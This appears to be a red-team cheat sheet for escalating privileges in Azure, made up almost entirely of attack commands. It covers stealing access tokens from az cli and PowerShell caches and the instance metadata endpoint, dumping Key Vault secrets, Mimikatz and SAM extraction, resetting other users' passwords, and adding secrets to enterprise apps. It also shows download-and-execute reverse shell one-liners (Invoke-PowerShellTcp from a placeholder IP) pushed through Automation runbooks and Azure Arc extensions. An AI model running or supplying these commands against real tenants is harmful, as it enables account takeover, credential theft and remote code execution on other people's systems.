- Privesc enumeration
- Automation account
- Command execution on a VM
- Getting credentials
- Managed Identity
- Reset password of other users
- Add credentials to enterprise applications
- Deployments
- Storage account
- Abusing dynamic groups
- Arm Templates History
- Function apps continuous deployment
- Break glass accounts
- Azure Container Registry dump
- [Azure ARC}(#Azure-ARC)
az ad signed-in-user show
Get-AzContext
az ad signed-in-user list-owned-objects
Get-AzureADUserOwnedObject -ObjectId <ID>
Supported tokens = aad-graph, arm, batch, data-lake, media, ms-graph, oss-rdbms
az account get-access-token
az account get-access-token --resource-type ms-graph
Get-AzResource
Get-AzResourceGroupDeployment -ResourceGroupName <RESOURCEGROUP>
Get-AzRoleAssignment -Scope <RESOURCE ID>
Get-AzRoleDefinition -Name "<ROLE DEFINITION NAME>"
- Required aad-graph token
Add-AzureADGroupMember -ObjectId <GROUP ID> -RefObjectId <USER ID> -Verbose
- Automation Account comes very handy in privilege escalation:
- Run As account is by default contributor on the current subscription and possible to have contributor permissions on other subscriptions in the tenant.
- Often, clear-text privileges can be found in Runbooks. For example, a PowerShell runbook may have admin credentials for a VM to use PSRemoting.
- Access to connections, key vaults from a runbook.
- Ability to run commands on on-prem VMs if hybrid workers are in use.
- Ability to run commands on VMs using DSC in configuration management.
- A runbook often contains clear-text passwords for example psremoting!
az extension add --upgrade -n automation
az automation account list
az account get-access-token
az account get-access-token --resource-type aad-graph
$accesstoken = ''
$aadtoken = ''
Connect-AzAccount -AccessToken $accesstoken -GraphAccessToken $aadtoken -AccountId <ID>
- Check for the Roledefinition
- Get the ID from az automation account list
Get-AzRoleAssignment -Scope <ID>
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <NAME> -ResourceGroupName <NAME>
Import-AzAutomationRunbook -Name student38 -Path <PATH TO .ps1 FILE> -AutomationAccountName <NAME> -ResourceGroupName <NAME> -Type PowerShell -Force -Verbose
IEX (New-Object Net.Webclient).downloadstring("http://xx.xx.xx.xx/Invoke-PowerShellTcp.ps1")
reverse -Reverse -IPAddress xx.xx.xx.xx -Port 4444
Publish-AzAutomationRunbook -RunbookName <NAME FOR RUNBOOK> -AutomationAccountName <NAME> -ResourceGroupName <NAME> -Verbose
Start-AzAutomationRunbook -RunbookName <NAME OF RUNBOOK> -RunOn <WORKERGROUP NAME> -AutomationAccountName <NAME> -ResourceGroupName <NAME> -Verbose
Import-Module Microburst.psm1
Get-AzurePasswords
- Vm access can be found after getting a new user or tokens and seeing that it has access to a vm
$accesstoken = ''
Connect-AzAccount -AccessToken $accesstoken -AccountId <CLIENT ID OR EMAIL>
Get-AzVM -Name <VM NAME> -ResourceGroupName <RESOURCE GROUP NAME> | select -ExpandProperty NetworkProfile
Get-AzNetworkInterface -Name <NETWORKINTERFACE>
Get-AzPublicIpAddress -Name <ID OF PUBLIC IP ADRESSES IN IPCONFIGURATION>
Get-AzRoleAssignment -Scope <RESOURCE ID>
Get-AzRoleDefinition -Name "<ROLE DEFINITION NAME>"
Invoke-AzVMRunCommand -VMName <VM NAME> -ResourceGroupName <NAME> -CommandId 'RunPowerShellScript' -ScriptPath '<PATH TO .ps1 FILE>' -Verbose
$passwd = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force
New-LocalUser -Name <USER> -Password $passwd
Add-LocalGroupMember -Group Administrators -Member student38
$password = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('<USER>', $Password)
$sess = New-PSSession -ComputerName 20.52.148.232 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
cat C:\Users\bkpadconnect\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat C:\Users\<USER>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
az login –identity
- May have more permissions then the user
az role assignment list -–assignee ((az account list | ConvertFrom-Json).id)
- Then use Azure REST APIs with the token
Invoke-WebRequest -Uri 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' -Method GET -Headers @{Metadata="true"} -UseBasicParsing
- Download the disk https://docs.microsoft.com/en-us/azure/virtual-machines/windows/download-vhd#generate-download-url
sudo fdisk –l
sudo mkdir /media/mounted-drive
sudo mount /dev/sdc4 /media/mounted-drive/
cd /media/mounted-drive/
ls
cd /media/mounted-drive/Windows/System32/config/
cp SAM SYSTEM ~/
cd ~/
impacket-secretsdump -system SYSTEM -sam SAM LOCAL
- Requires the "Virtual Machine Contributor" role
- Run as default by SYSTEM or root
- Commandid = RunPowerShellScript or RunShellScript
Invoke-AzVMRunCommand -ResourceGroupName <resource group name> -VMName <VM name> -CommandId RunPowerShellScript -ScriptPath ./powershell-script.ps1
- Can be done from Azure portal
- This may be a quick way to gain access and avoid PowerShell alerting
- Be careful though as scripts/services may be using the credential
- User attributes and sensitive information
unknown command atm
- az cli stores access tokens in clear text in
accessTokens.json
in the directoryC:\Users\<username>\.Azure
- We can read tokens from the file, use them and request new ones too!
- azureProfile.json in the same directory contains information about subscriptions.
- You can modify accessTokens.json to use access tokens with az cli but better to use with Az PowerShell or the Azure AD module.
- To clear the access tokens, always use az logout
- Az PowerShell stores access tokens in clear text in
TokenCache.dat
in the directoryC:\Users\<username>\.Azure
- It also stores ServicePrincipalSecret in clear-text in AzureRmContext.jsonif a service principal secret is used to authenticate.
- Another interesting method is to take a process dump of PowerShell and looking for tokens in it!
- Users can save tokens using Save-AzContext, look out for them! Search for Save-AzContext in PowerShell console history!
- Always use Disconnect-AzAccount!!
cp %USERPROFILE%\.Azure\AzureRmContext.json C:\temp\AzureRmContext.json
Add-Type -AssemblyName System.Security; [Convert]::ToBase64String([Security.Cryptography.ProtectedData]::Unprotect((([Text.Encoding]::Default).GetBytes((Get-Content -raw "$env:userprofile\AppData\Local\.IdentityService\msal.cache"))), $null, [Security.Cryptography.DataProtectionScope]::CurrentUser))
- Open AzureRmContext.json file in a notepad and find the line near the end of the file title “CacheData”. It should be null.
Import-AzContext -Path 'C:\Temp\Live Tokens\StolenToken.json’
Save-AzContext -Path C:\Temp\AzureAccessToken.json
Import-AzContext -Path 'C:\Temp\Live Tokens\StolenToken.json’
- Supported tokens - AadGraph, AnalysisServices, Arm, Attestation, Batch, DataLake, KeyVault, OperationalInsights, ResourceManager, Synapse
Get-AzAccessToken -ResourceTypeName AadGraph
- Supported tokens - aad-graph, arm, batch, data-lake, media, ms-graph, oss-rdbms
az account get-access-token --resource-type ms-graph
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
$accesstoken = ''
$keyvaulttoken = ``
Connect-AzAccount -AccessToken $accesstoken -AccountId <ID> -KeyVaultAccessToken $keyvaulttoken
Get-AzKeyVault
Get-AzKeyVault -VaultName <VAULT NAME>
Get-AzKeyVaultSecret -VaultName <VAULT NAME> -AsPlainText
Get-AzKeyVaultSecret -VaultName <VAULT NAME> -Name <NAME> -AsPlainText
$password = ConvertTo-SecureString <PASSWORD> -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('<USERNAME>', $password)
Connect-AzAccount -Credential $creds
Invoke-Mimikayz -Dumpcreds
Invoke-Mimikatz -Command '"token::elevate" "lsadump::secrets"'
- Azure Cloud Service Packages (.cspkg)
- Deployment files created by Visual Studio.
- Possible other Azure services integration (SQL, storage, etc.)
- Through cspkg zip files for creds/certs.
- Search Visual Studio Public Directory
<cloud project directory>\bin\debug\publish
- Look for file
.publishsettings
- Can contain a Base64 encoded Management Certificate or cleartext credentials
- Save "ManagementCertificate" section into a new .pfx file
- Search the user's Downloads directory and VS projects.
- Windows Credential Manager stores these credentials.
- Azure Storage Explorer for example has a built-in “Developer Tools” function that you can use to set breakpoints while loading the credentials allowing you to view them while unencrypted.
Web.config
andapp.config
files might contain creds or access tokens.- Look for management cert and extract to
.pfx
like publishsettings files
sudo find / -name web.config 2>/dev/null
Get-ChildItem -Path C:\ -Filter app.config -Recurse -ErrorAction SilentlyContinue -Force
- Find internal repos (scan for port 80, 443 or Query AD and look for subdomains or hostnames as git, code, repo, gitlab, bitbucket etc)
- Tools for finding secrets
- Gitleaks https://github.com/zricethezav/gitleaks
- Gitrob https://github.com/michenriksen/gitrob
- Truffle hog https://github.com/dxa4481/truffleHog
- Look through command history
~/.bash_history`` or
%USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt```
sudo find / -name .bash_history 2>/dev/null
Get-ChildItem -Path C:\ -Filter *ConsoleHost_history.txt* -Recurse -ErrorAction SilentlyContinue -Force
cat <FILE> | select-string password
cat <FILE> | select-string secure
Get-Childitem -Path C:\* -Force -Include *transcript* -Recurse -ErrorAction SilentlyContinue
type C:\Transcripts\20210422\PowerShell_transcript.DESKTOP-M7C1AFM.6sZJrDuN.20210422230739.txt
- print environment variables and check for IDENTITY_HEADER and IDENTITY_ENDPOINT
env
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
<?php
system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');
?>
- Reset password if user has "authentication administrator" role on a group or administrative unit.
$password = "<PASSWORD>" | ConvertTo-SecureString -AsPlainText –Force
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "<ACCOUNT>"}).ObjectId | Set-AzureADUserPassword -Password $Password –Verbose
. .\Add-AzADAppSecret.ps1
Add-AzADAppSecret -GraphToken $graphtoken -Verbose
$password = ConvertTo-SecureString '<SECRET>' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('<ACCOUNT ID>', $password)
Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant <TENANT ID>
Get-AzResource
Get-AzResourceGroup
Get-AzResourceGroupDeployment -ResourceGroupName <RESOURCE GROUP NAME>
Save-AzResourceGroupDeploymentTemplate -ResourceGroupName <RESOURCE GROUP> -DeploymentName <DEPLOYMENT NAME>
- Or manually scan through it!
cat <PATH TO .json FILE> | Select-String password
Get-AzResource
Get-AzStorageContainer -Context (Get-AzStorageAccount -Name <NAME> -ResourceGroupName <RESOURCEGROUPNAME>).Context
Get-AzStorageAccountKey -name <NAME OF STORAGE> -resourcegroupname <NAME>
Get-AzResource
Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>
Get-AzStorageContainer -Context (Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>).context
Get-AzStorageBlobContent -Container <NAME> -Context (Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>).context -Blob
- By default, any user can invite guests in Azure AD. If a dynamic group rule allows adding users based on the attributes that a guest user can modify, it will result in abuse of this feature. For example based on EMAIL ID and join as guest that matches that rule.
- Login to the portal and check the groups. Is there any dynamic group?
- Click on the dynamic group and select "Dynamic membership rules". Is it possible to invite a user that complies to the rule?
- Go to Users and select "New Guest User"
- Open the user's profile and click on "(manage)" under invitation accepted. Select YES on resend invite and copy the URL.
- Open the URL in a private browser and login and accept the permissions.
- Connect to the tenant with AzureAD
- Set the secondary email for the user (Get the objectID of the user from the portal where we made the guest)
import-module .\AzureADPreview.psd1
Get-AzureADMSGroup | Where-Object -Property GroupTypes -Match 'DynamicMembership' | fl *
Set-AzureADUser -ObjectId <ID> -OtherMails <EMAIL> -Verbose
- Check if the user is added to the dynamic group (Might take a bit)
- Any user with permissions
Microsoft.Resources/deployments/read
andMicrosoft.Resources/subscriptions/resourceGroups/read
can read the deployment history. - Login to the azure portal
- Go to the deployments under settings and check the template for passwords or anything!
- Not sure if its possible by commands in any module!
- In case continuous deployment is used, a source code update triggers a deployment to Azure.
- Following source code locations are supported
- Azure Repos
- GitHub
- Bitbucket
- May be able to escalate privileges if we can own a continuous deployment and execute code on anything or add users!
- Another PrivEsc target is Azure “Break Glass” administrative accounts
- Microsoft recommends not setting up MFA for them
- Two accounts are usually recommended to be set up
- If you can determine which ones are the break glass they can be good targets
Get-AzPasswords
Get-AzACR
- https://github.com/0xJs/RedTeaming_CheatSheet/edit/main/cloud/azure/privilege-escalation.md
- All roles with “Microsoft.HybridCompute/machines/extensions/write” permission are able to install or update an Azure Arc Extension. Some of them are:
- Owner
- Contributor
- Azure Connected Machine Resource Administrator
- Hybrid Server Resource Administrator
- Windows Admin Center Administrator Login
- Login to azure Portal and check for connected machines in Azure Arc
az connectedmachine extension create --machine-name i-0ef6d7a83a00e --resource-group AzureArc-RG --name ipconfig --type "CustomScriptExtension" --publisher "Microsoft.Compute" --settings "{'commandToExecute':'ipconfig'}" --location "eastus"
az connectedmachine extension create --machine-name i-0ef6d7a83a00e --resource-group AzureArc-RG --name RemoteCode --type "CustomScriptExtension" --publisher "Microsoft.Compute" --settings "{'commandToExecute':'powershell -c iex(New-Object Net.Webclient).downloadstring(\'http://<IP>/Invoke-PowerShellTcp.ps1\')'}" --location "eastus"